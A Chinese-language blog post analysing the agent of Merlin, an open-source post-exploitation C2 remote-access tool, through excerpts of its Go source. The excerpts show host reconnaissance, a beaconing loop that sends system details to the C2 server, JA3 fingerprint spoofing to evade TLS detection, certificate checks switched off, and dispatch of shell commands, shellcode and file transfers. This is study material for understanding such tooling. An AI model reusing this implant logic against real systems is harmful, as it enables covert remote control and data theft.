欢迎光临
我们一直在努力

Merlin的魔法——一款后渗透C&C平台分析之一

 

0x01 前言

Merlin is a post-exploit Command & Control (C2) tool, also known as a Remote Access Tool (RAT), that communicates using the HTTP/1.1, HTTP/2, and HTTP/3 protocols. HTTP/3 is the combination of HTTP/2 over the Quick UDP Internet Connections (QUIC) protocol. This tool was the result of my work evaluating HTTP/2 in a paper titled Practical Approach to Detecting and Preventing Web Application Attacks over HTTP/2.

Merlin 是一款以Go语言开发的 RAT 软件,由于Go自身优异的跨平台特性也使得 Merlin 天然的就具备了跨平台的优势,出于对 Go 语言学习的想法以及对 Merlin 实现机制的好奇,在这里简单的分析一下 Merlin 的代码实现,出于篇幅以及思路的考虑,本文以对 Merlin Agent 的分析为主,下篇文章分析 Merlin Server 的实现。

 

0x02 代码分析

talk is cheap, show me the code

0x1 依赖

go 1.16

require (
    github.com/CUCyber/ja3transport v0.0.0-20201031204932-8a22ac8ab5d7 // indirect

    github.com/Ne0nd0g/go-clr v1.0.1
    github.com/Ne0nd0g/ja3transport v0.0.0-20200203013218-e81e31892d84
    github.com/Ne0nd0g/merlin v1.1.0

    github.com/cretz/gopaque v0.1.0
    github.com/fatih/color v1.10.0
    github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510
    github.com/lucas-clemente/quic-go v0.24.0
    github.com/satori/go.uuid v1.2.0

    golang.org/x/crypto v0.0.0-20211209193657-4570a0811e8b
    golang.org/x/net v0.0.0-20211209124913-491a49abca63
    golang.org/x/sys v0.0.0-20211015200801-69063c4bb744
    gopkg.in/square/go-jose.v2 v2.3.1
)

​ 从mod文件中可知 merlin agent 是基于 go 1.16 版本进行编写的,剩下的就是 agent 所依赖的一些库了,排除标准库以及自身的一些库,简单看一下引入的这些库的大致功能

  • github.com/CUCyber/ja3transport 用于修改JA3指纹信息
  • github.com/cretz/gopaque 用于在Server端注册和认证Agent
  • github.com/fatih/color Debug输出
  • github.com/google/shlex Shell语法解析器
  • github.com/lucas-clemente/quic-go quic协议支持
  • github.com/satori/go.uuid UUID的创建

0x2 主要逻辑

// usage prints command line options
func usage()
// getArgsFromStdIn reads from STDIN an
func getArgsFromStdIn(input chan string)
func main()

​ 主要由以上三个方法构成,其中 main 方法是分析的重点,main中主要完成了三项工作:

  • 获取运行参数
  • 获取主机信息并构建struct
  • 运行主逻辑

下面从这三个方面来看 main 的代码逻辑

1. 获取运行参数

if len(os.Args) <= 1 {
    input := make(chan string, 1)
    var stdin string
    go getArgsFromStdIn(input)        // 启动协程从STDIN中读取数据

    select {
        case i := <-input:
        stdin = i
        case <-time.After(500 * time.Millisecond):
        close(input)
        err := os.Stdin.Close()
        if err != nil && *verbose {
            color.Red(fmt.Sprintf(\"there was an error closing STDIN: %s\", err))
        }
        break
    }

    args, err := shlex.Split(stdin)
    if err == nil && len(args) > 0 {
        os.Args = append(os.Args, args...)
    }
}

​ 使用 flag 库对参数进行解析,这里作者增加了在启动时没有附加参数而是直接从STDIN中获取参数的处理,且只等待500ms,如果在500ms内没有读取到数据的话就直接超时,开始以默认参数执行。从这段代码中可以抽象出 go 的 channel 超时的处理方式

package main

import (
    \"fmt\"
    \"math/rand\"
    \"time\"
)

func main(){
    rand.Seed(time.Now().UnixNano())
    input := make(chan string, 1)
    go func() {
        t := rand.Intn(5)
        time.Sleep(time.Duration(t)*time.Second)
        input<-\"sleep.......\"
    }()
    select{
    case i:= <-input:
        fmt.Println(i)
    case <-time.After(3*time.Second):
        fmt.Println(\"timeout!\")
    }
}

2. 获取主机信息并构建struct

agent.Config 主要获取了四个参数。之后的a, err:=agent.New(agentConfig) 也是用来填充参数的,这里为什么要单独将这四个参数抽离出来形成一个结构体呢?

    agentConfig := agent.Config{
        Sleep:    sleep,
        Skew:     skew,
        KillDate: killdate,
        MaxRetry: maxretry,
    }

​ 在跟进 agent.New方法进行对比之后就不难发现,agent.Config中的参数是 Merlin agent 自身运行时所需的运行信息,agent.New 中主要获取及填充的是Host相关信息。根据信息归属的不同,将agent自身运行时信息组织为了一个单独的struct。

agent.New 进行简化(折叠错误处理部分)可得到如下代码,初始化完成了 Agent 结构体中Host部分。

func New(config Config) (*Agent, error) {
    cli.Message(cli.DEBUG, \"Entering agent.New() function\")

    agent := Agent{
        ID:           uuid.NewV4(),        // 标示当前agent
        Platform:     runtime.GOOS,        // 系统类型
        Architecture: runtime.GOARCH,    // 架构
        Pid:          os.Getpid(),        // 进程pid
        Version:      core.Version,        // 系统详细版本
        Initial:      false,
    }

    rand.Seed(time.Now().UnixNano())

    u, errU := user.Current()        // 获取当前用户信息
    agent.UserName = u.Username        // 用户名
    agent.UserGUID = u.Gid            // GUID信息

    h, errH := os.Hostname()        // Host信息
    agent.HostName = h

    proc, errP := os.Executable()    // 当前执行路径信息
    agent.Process = proc

    interfaces, errI := net.Interfaces()    // 网卡信息

    for _, iface := range interfaces {        // 遍历获取到的网卡,保存IP地址信息
        addrs, err := iface.Addrs()
        for _, addr := range addrs {
            agent.Ips = append(agent.Ips, addr.String())
        }
    }

    // Parse config
    var err error
    // Parse KillDate
    if config.KillDate != \"\" {        // 终止日期
        agent.KillDate, err = strconv.ParseInt(config.KillDate, 10, 64)
    } else {
        agent.KillDate = 0
    }
    // Parse MaxRetry
    if config.MaxRetry != \"\" {        // 当连接不到Server时尝试次数
        agent.MaxRetry, err = strconv.Atoi(config.MaxRetry)
    } else {
        agent.MaxRetry = 7
    }
    // Parse Sleep
    if config.Sleep != \"\" {            // 回连Server前休眠时间
        agent.WaitTime, err = time.ParseDuration(config.Sleep)
    } else {
        agent.WaitTime = 30000 * time.Millisecond
    }
    // Parse Skew
    if config.Skew != \"\" {            // 在每次Sleep后增加间隔时间
        agent.Skew, err = strconv.ParseInt(config.Skew, 10, 64)
    } else {
        agent.Skew = 3000
    }
    ...

    return &agent, nil
}

​ 在获取完毕主机相关的信息后,agent 就开始初始化用于网络通信相关的struct了,http.New 为该部分的实现代码,同样折叠错误处理相关代码后如下:

func New(config Config) (*Client, error) {
    client := Client{        // 填充不需要特殊处理的参数
        AgentID:   config.AgentID,
        URL:       config.URL,
        UserAgent: config.UserAgent,
        Host:      config.Host,
        Protocol:  config.Protocol,
        Proxy:     config.Proxy,
        JA3:       config.JA3,
        psk:       config.PSK,
    }

    // Set secret for JWT and JWE encryption key from PSK
    k := sha256.Sum256([]byte(client.psk))        // 根据PSK生成用于JWT加密的key
    client.secret = k[:]

    //Convert Padding from string to an integer
    if config.Padding != \"\" {
        client.PaddingMax, err = strconv.Atoi(config.Padding)
    } else {
        client.PaddingMax = 0
    }

    // Parse additional HTTP Headers
    if config.Headers != \"\" {        // 设置用户自定义的Header信息
        client.Headers = make(map[string]string)
        for _, header := range strings.Split(config.Headers, \"\\\\n\") {
            h := strings.Split(header, \":\")
            // Remove leading or trailing spaces
            headerKey := strings.TrimSuffix(strings.TrimPrefix(h[0], \" \"), \" \")
            headerValue := strings.TrimSuffix(strings.TrimPrefix(h[1], \" \"), \" \")
            client.Headers[headerKey] = headerValue
        }
    }

    // Get the HTTP client
    client.Client, err = getClient(client.Protocol, client.Proxy, client.JA3) // 初始化用于实际与Server连接的结构 HTTP client

    return &client, nil
}

http.New 其实更像是一个wrapper方法,在进行struct的填充之后,获取HTTP client的操作实际上是由 http.getClient 完成的。

func getClient(protocol string, proxyURL string, ja3 string) (*http.Client, error) {
    // G402: TLS InsecureSkipVerify set true. (Confidence: HIGH, Severity: HIGH) Allowed for testing
    // Setup TLS configuration
    // TLS设置,skip 证书检查
    TLSConfig := &tls.Config{
        MinVersion:         tls.VersionTLS12,
        InsecureSkipVerify: true, // #nosec G402 - see https://github.com/Ne0nd0g/merlin/issues/59 TODO fix this
        CipherSuites: []uint16{            // 这里专门指定了CipherSuites应该是出于信道安全性考虑
            tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
            tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,
        },
    }

    // Proxy
    var proxy func(*http.Request) (*url.URL, error)
    if proxyURL != \"\" {
        rawURL, errProxy := url.Parse(proxyURL)        // 解析proxy链接
        proxy = http.ProxyURL(rawURL)                // 设置http代理
    } else {
        // Check for, and use, HTTP_PROXY, HTTPS_PROXY and NO_PROXY environment variables
        proxy = http.ProxyFromEnvironment            // 如果没有指定代理则走系统代理
    }

    // JA3
    if ja3 != \"\" {    // 如果设置了JA3的话,后续使用ja3transport提供能功能来进行通信,主要用于规避基于JA3算法的TLS指纹识别
        JA3, errJA3 := ja3transport.NewWithStringInsecure(ja3)
        tr, err := ja3transport.NewTransportInsecure(ja3)
        // Set proxy
        if proxyURL != \"\" {
            tr.Proxy = proxy
        }

        JA3.Transport = tr

        return JA3.Client, nil
    }

    var transport http.RoundTripper
    switch strings.ToLower(protocol) {//根据传入的不同的protocol参数初始化对应的Transport
    case \"http3\":
        TLSConfig.NextProtos = []string{\"h3\"} // https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids
        transport = &http3.RoundTripper{
            QuicConfig: &quic.Config{
                // Opted for a long timeout to prevent the client from sending a PING Frame
                // If MaxIdleTimeout is too high, agent will never get an error if the server is off line and will perpetually run without exiting because MaxFailedCheckins is never incremented
                //MaxIdleTimeout: time.Until(time.Now().AddDate(0, 42, 0)),
                MaxIdleTimeout: time.Second * 30,
                // KeepAlive will send a HTTP/2 PING frame to keep the connection alive
                // If this isn\'t used, and the agent\'s sleep is greater than the MaxIdleTimeout, then the connection will timeout
                KeepAlive: true,
                // HandshakeIdleTimeout is how long the client will wait to hear back while setting up the initial crypto handshake w/ server
                HandshakeIdleTimeout: time.Second * 30,
            },
            TLSClientConfig: TLSConfig,
        }
    case \"h2\":
        TLSConfig.NextProtos = []string{\"h2\"} // https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids
        transport = &http2.Transport{
            TLSClientConfig: TLSConfig,
        }
    case \"h2c\":
        transport = &http2.Transport{
            AllowHTTP: true,
            DialTLS: func(network, addr string, cfg *tls.Config) (net.Conn, error) {
                return net.Dial(network, addr)
            },
        }
    case \"https\":
        TLSConfig.NextProtos = []string{\"http/1.1\"} // https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids
        transport = &http.Transport{
            TLSClientConfig: TLSConfig,
            MaxIdleConns:    10,
            Proxy:           proxy,
            IdleConnTimeout: 1 * time.Nanosecond,
        }
    case \"http\":
        transport = &http.Transport{
            MaxIdleConns:    10,
            Proxy:           proxy,
            IdleConnTimeout: 1 * time.Nanosecond,
        }
    default:
        return nil, fmt.Errorf(\"%s is not a valid client protocol\", protocol)
    }
    return &http.Client{Transport: transport}, nil
}

3. 运行主逻辑

在初始化完成了各项信息之后,就正式来到了Run()方法,go和许多其他面向对象的语言不同,它可以将方法绑定到除了指针类型和接口类型的任何类型上。

func (a *Agent) Run() {
    rand.Seed(time.Now().UTC().UnixNano())
    for {
        // Verify the agent\'s kill date hasn\'t been exceeded
        if (a.KillDate != 0) && (time.Now().Unix() >= a.KillDate) {    // 判断是否到了自毁时间
            os.Exit(0)
        }
        // Check in
        if a.Initial {        // 心跳包
            a.statusCheckIn()
        } else {
            msg, err := a.Client.Initial(a.getAgentInfoMessage())    // 在Server端上线
            if err != nil {
                a.FailedCheckin++
            } else {
                a.messageHandler(msg)
                a.Initial = true
                a.iCheckIn = time.Now().UTC()
            }
        }
        // Determine if the max number of failed checkins has been reached
        if a.FailedCheckin >= a.MaxRetry {        // 当尝试上线失败次数到达maxtry时直接退出
            os.Exit(0)
        }
        // Sleep
        var sleep time.Duration
        if a.Skew > 0 {        // 为休眠时间增加随机性
            sleep = a.WaitTime + (time.Duration(rand.Int63n(a.Skew)) * time.Millisecond) // #nosec G404 - Does not need to be cryptographically secure, deterministic is OK
        } else {
            sleep = a.WaitTime
        }
        time.Sleep(sleep)
    }
}

​ 首先来查看 Client 是如何上线的:
​ 通过getAgentInfoMessage()将获取到的信息打包为 messages.AgentInfo 结构体准备传输。

// SysInfo is a JSON payload containing information about the system where the agent is running
type SysInfo struct {
    Platform     string   `json:\"platform,omitempty\"`
    Architecture string   `json:\"architecture,omitempty\"`
    UserName     string   `json:\"username,omitempty\"`
    UserGUID     string   `json:\"userguid,omitempty\"`
    HostName     string   `json:\"hostname,omitempty\"`
    Process      string   `json:\"process,omitempty\"`
    Pid          int      `json:\"pid,omitempty\"`
    Ips          []string `json:\"ips,omitempty\"`
    Domain       string   `json:\"domain,omitempty\"`
}

// AgentInfo is a JSON payload containing information about the agent and its configuration
type AgentInfo struct {
    Version       string  `json:\"version,omitempty\"`
    Build         string  `json:\"build,omitempty\"`
    WaitTime      string  `json:\"waittime,omitempty\"`
    PaddingMax    int     `json:\"paddingmax,omitempty\"`
    MaxRetry      int     `json:\"maxretry,omitempty\"`
    FailedCheckin int     `json:\"failedcheckin,omitempty\"`
    Skew          int64   `json:\"skew,omitempty\"`
    Proto         string  `json:\"proto,omitempty\"`
    SysInfo       SysInfo `json:\"sysinfo,omitempty\"`
    KillDate      int64   `json:\"killdate,omitempty\"`
    JA3           string  `json:\"ja3,omitempty\"`
}

Client.Init 只是一个wrapper 方法

// Initial executes the specific steps required to establish a connection with the C2 server and checkin or register an agent
func (client *Client) Initial(agent messages.AgentInfo) (messages.Base, error) {
    // Authenticate
    return client.Auth(\"opaque\", true)
}

// Auth is the top-level function used to authenticate an agent to server using a specific authentication protocol
// register is specific to OPAQUE where the agent must register with the server before it can authenticate
func (client *Client) Auth(auth string, register bool) (messages.Base, error) {
    switch strings.ToLower(auth) {
    case \"opaque\":        // 目前只支持 opaque 这一种认证方式,但是作者已经为之后的扩展做好了准备
        return client.opaqueAuth(register)
    default:
        return messages.Base{}, fmt.Errorf(\"unknown authentication type: %s\", auth)
    }

}

client.opaqueAuth 如果已经通过 client.opaqueRegister 进行在 C2 进行注册过了,那么将通过client.opaqueAuthenticate 进行认证,最终返回认证后的结果。

// opaqueAuth is the top-level function that subsequently runs OPAQUE registration and authentication
func (client *Client) opaqueAuth(register bool) (messages.Base, error) {
    cli.Message(cli.DEBUG, \"Entering into clients.http.opaqueAuth()...\")

    // Set, or reset, the secret used for JWT & JWE encryption key from PSK
    k := sha256.Sum256([]byte(client.psk))
    client.secret = k[:]

    // OPAQUE Registration
    if register { // If the client has previously registered, then this will not be empty
        // Reset the OPAQUE User structure for when the Agent previously successfully authenticated
        // but the Agent needs to re-register with a new server
        if client.opaque != nil {
            if client.opaque.Kex != nil { // Only exists after successful authentication which occurs after registration
                client.opaque = nil
            }
        }
        // OPAQUE Registration steps
        err := client.opaqueRegister()
        if err != nil {
            return messages.Base{}, fmt.Errorf(\"there was an error performing OPAQUE User Registration:\\r\\n%s\", err)
        }
    }

    // OPAQUE Authentication steps
    msg, err := client.opaqueAuthenticate()
    if err != nil {
        return msg, fmt.Errorf(\"there was an error performing OPAQUE User Authentication:\\r\\n%s\", err)
    }
    // The OPAQUE derived Diffie-Hellman secret
    client.secret = []byte(client.opaque.Kex.SharedSecret.String())

    return msg, nil
}

通过 OPAQUE 认证后的结果通过 Agent.messageHandler进行处理,根据 Server 返回的控制数据将 job送入JobHandler中。

对于 message 而言有三种状态

  • JOBS 处理 Server 发送回来的控制数据
  • IDLE idle,跳过当前loop
  • OPAQUE 重新进行认证
// messageHandler processes an input message from the server and adds it to the job channel for processing by the agent
func (a *Agent) messageHandler(m messages.Base) {
    if m.ID != a.ID {
        cli.Message(cli.WARN, fmt.Sprintf(\"Input message was not for this agent (%s):\\r\\n%+v\", a.ID, m))
    }

    var result jobs.Results
    switch m.Type {
    case messages.JOBS:
        a.jobHandler(m.Payload.([]jobs.Job)) // 认证正常情况下处理C2发送过来的jobs
    case messages.IDLE:
        cli.Message(cli.NOTE, \"Received idle command, doing nothing\")
    case messages.OPAQUE:        // 如果认证失败则进行再次认证
        if m.Payload.(opaque.Opaque).Type == opaque.ReAuthenticate {
            cli.Message(cli.NOTE, \"Received re-authentication request\")
            // Re-authenticate, but do not re-register
            msg, err := a.Client.Auth(\"opaque\", false)        // 递归进行认证
            if err != nil {
                a.FailedCheckin++
                result.Stderr = err.Error()
                jobsOut <- jobs.Job{
                    AgentID: a.ID,
                    Type:    jobs.RESULT,
                    Payload: result,
                }
            }
            a.messageHandler(msg)
        }
    default:
        result.Stderr = fmt.Sprintf(\"%s is not a valid message type\", messages.String(m.Type))
        jobsOut <- jobs.Job{
            AgentID: m.ID,
            Type:    jobs.RESULT,
            Payload: result,
        }
    }
    cli.Message(cli.DEBUG, \"Leaving agent.messageHandler function without error\")
}

如果已经在 Server 处注册过了,则在每次循环的时候直接走 statusCheckIn 逻辑

// statusCheckIn is the function that agent runs at every sleep/skew interval to check in with the server for jobs
func (a *Agent) statusCheckIn() {
    msg := getJobs() // 获取已经执行完毕的 jobs 的结果
    msg.ID = a.ID

    j, reqErr := a.Client.SendMerlinMessage(msg) // 向 Server 发送结果信息

    if reqErr != nil {
        a.FailedCheckin++
        // Put the jobs back into the queue if there was an error
        if msg.Type == messages.JOBS {
            a.messageHandler(msg)
        }
        return
    }

    a.FailedCheckin = 0
    a.sCheckIn = time.Now().UTC()    // 更新 last 心跳包时间
    // Handle message
    a.messageHandler(j)    // 处理 Server 的控制信息

}

0x3 Job相关实现

Job处理的主要逻辑抽象如下:

                    channel                channel
jobHandler --------> executeJob -------> getJobs
                    传入参数              获取结果

1. Job处理

在基本澄清骨架逻辑之后,下面把精力放在 agent 对 Job 的处理及结果获取上,首先是 Job 的处理,agent从message中取得Server下发的Job信息后传入 jobHandler 中进行处理。

// jobHandler takes a list of jobs and places them into job channel if they are a valid type
func (a *Agent) jobHandler(Jobs []jobs.Job) {
    for _, job := range Jobs {
        // If the job belongs to this agent
        if job.AgentID == a.ID {    // check 下发的任务是否是给自身的
            switch job.Type {
            case jobs.FILETRANSFER:    // 文件传输
                jobsIn <- job
            case jobs.CONTROL:        // 控制信息处理
                a.control(job)
            case jobs.CMD:            // 执行命令
                jobsIn <- job
            case jobs.MODULE:        // 加载模块
                jobsIn <- job
            case jobs.SHELLCODE:    // 加载shellcode
                cli.Message(cli.NOTE, \"Received Execute shellcode command\")
                jobsIn <- job
            case jobs.NATIVE:        // 常见命令处理
                jobsIn <- job
            default:
                var result jobs.Results
                result.Stderr = fmt.Sprintf(\"%s is not a valid job type\", messages.String(job.Type))
                jobsOut <- jobs.Job{
                    ID:      job.ID,
                    AgentID: a.ID,
                    Token:   job.Token,
                    Type:    jobs.RESULT,
                    Payload: result,
                }
            }
        }
    }
}

jobHandler 实际上起到一个 dispatcher 的作用,根据 Job 类型的不同,调用不同的处理方法(将信息通过channel进行传输),大部分处理都由 executeJob 进行处理,实现了control 方法来对jobs.CONTROL 进行处理:修改 Agent 结构体内的各类信息。由于Merlin agent实现了大量的功能,受篇幅所限,这里重点关注一下文件上传、下载,命令执行的功能。

命令执行

shell和单条命令执行底层都是基于 exec.Command 进行执行并获取结果,不同的是shell方式是用 exec.Command 调用 /bin/sh -c 最终执行的命令

if cmd.Command == \"shell\" {
    results.Stdout, results.Stderr = shell(cmd.Args)
} else {
    results.Stdout, results.Stderr = executeCommand(cmd.Command, cmd.Args)
}

文件上传下载

代码主要位于 commands/download.gocommands/upload.go 中,逻辑主体可以抽象为以下步骤:

文件下载:

  • os.Stat(filepath.Dir(transfer.FileLocation)) 检测目录的存在性
  • downloadFile, downloadFileErr:=base64.StdEncoding.DecodeString(transfer.FileBlob) 解码文件数据
  • ioutil.WriteFile(transfer.FileLocation, downloadFile, 0600) 写入文件

文件上传:

  • fileData, fileDataErr:=ioutil.ReadFile(transfer.FileLocation) 读取文件
  • _, errW:=io.WriteString(fileHash, string(fileData)) 生成hash
  • jobs.FileTransfer 填充Job信息

2. Job结果获取

Job获取主要由 jobs/getJobs 来进行处理的,通过循环对 jobsOut 的channel 进行check,获取到数据后封装为 msg struct 进行发送。

// Check the output channel
var returnJobs []jobs.Job
for {
    if len(jobsOut) > 0 {
        job := <-jobsOut
        returnJobs = append(returnJobs, job)
    } else {
        break
    }
}
if len(returnJobs) > 0 {
    msg.Type = messages.JOBS
    msg.Payload = returnJobs
} else {
    // There are 0 jobs results to return, just checkin
    msg.Type = messages.CHECKIN
}
return msg

0x4 msg 发送及接收

merlin 的数据发送接收都是通过 SendMerlinMessage 完成的,具体过程可抽象为如下代码:

// SendMerlinMessage takes in a Merlin message structure, performs any encoding or encryption, and sends it to the server
// The function also decodes and decrypts response messages and return a Merlin message structure.
// This is where the client\'s logic is for communicating with the server.
func (client *Client) SendMerlinMessage(m messages.Base) (messages.Base, error) {
    // 获取 JWE,gob编码
    req, reqErr := http.NewRequest(\"POST\", client.URL[client.currentURL], jweBytes)
    // 设置 Header 信息
    resp, err := client.Client.Do(req) 
    switch resp.StatusCode {
    case 200:
        break
    case 401:
        return client.Auth(\"opaque\", true)
    default:
        return returnMessage, fmt.Errorf(\"there was an error communicating with the server:\\r\\n%d\", resp.StatusCode)
    }
    contentType := resp.Header.Get(\"Content-Type\")
    // Check to make sure the response contains the application/octet-stream Content-Type header
    isOctet := false
    for _, v := range strings.Split(contentType, \",\") {
        if strings.ToLower(v) == \"application/octet-stream\" {
            isOctet = true
        }
    }
    // gob解码,JWT解密 message body 数据
    return respMessage, nil
}

 

0x03 结语

对merlin agent的分析断断续续持续了一周的时间,最开始有分析的想法时没想到能把时间线拉的如此漫长,不过好在最后也算是对agent有了一个基础的了解,将主要的部分也算是雨露均沾了,在agent中其实还有许多有意思的技术点没有分析到,后续有时间的话再来填坑吧,如有分析的不当之处,恳请各位师傅指正。

 

参考资料

https://www.jianshu.com/p/b6ae3f85c683

https://github.com/Ne0nd0g/merlin-agent

https://merlin-c2.readthedocs.io/en/latest/agent/cli.html

赞(0) 打赏
未经允许不得转载:黑客技术网 » Merlin的魔法——一款后渗透C&C平台分析之一
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏